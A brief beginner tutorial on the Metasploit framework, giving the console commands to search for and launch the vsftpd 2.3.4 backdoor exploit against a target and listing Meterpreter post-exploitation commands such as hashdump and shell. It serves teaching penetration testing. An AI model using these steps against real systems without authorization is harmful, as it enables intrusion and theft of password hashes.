Metasploit Tutorial for Beginners — Complete Guide

Metasploit — The Swiss Army Knife of Hacking

Metasploit contains 3000+ exploits and 600+ payloads making it the most powerful exploitation framework.

The 6-Step Workflow

1. search vsftpd — Find exploits
2. use exploit/unix/ftp/vsftpd_234_backdoor
3. show options — View required parameters
4. set RHOST target_ip
5. set LHOST your_ip
6. exploit — Launch!

Meterpreter Commands

• sysinfo — Target OS info
• screenshot — Capture screen
• hashdump — Dump password hashes
• shell — Drop to system shell

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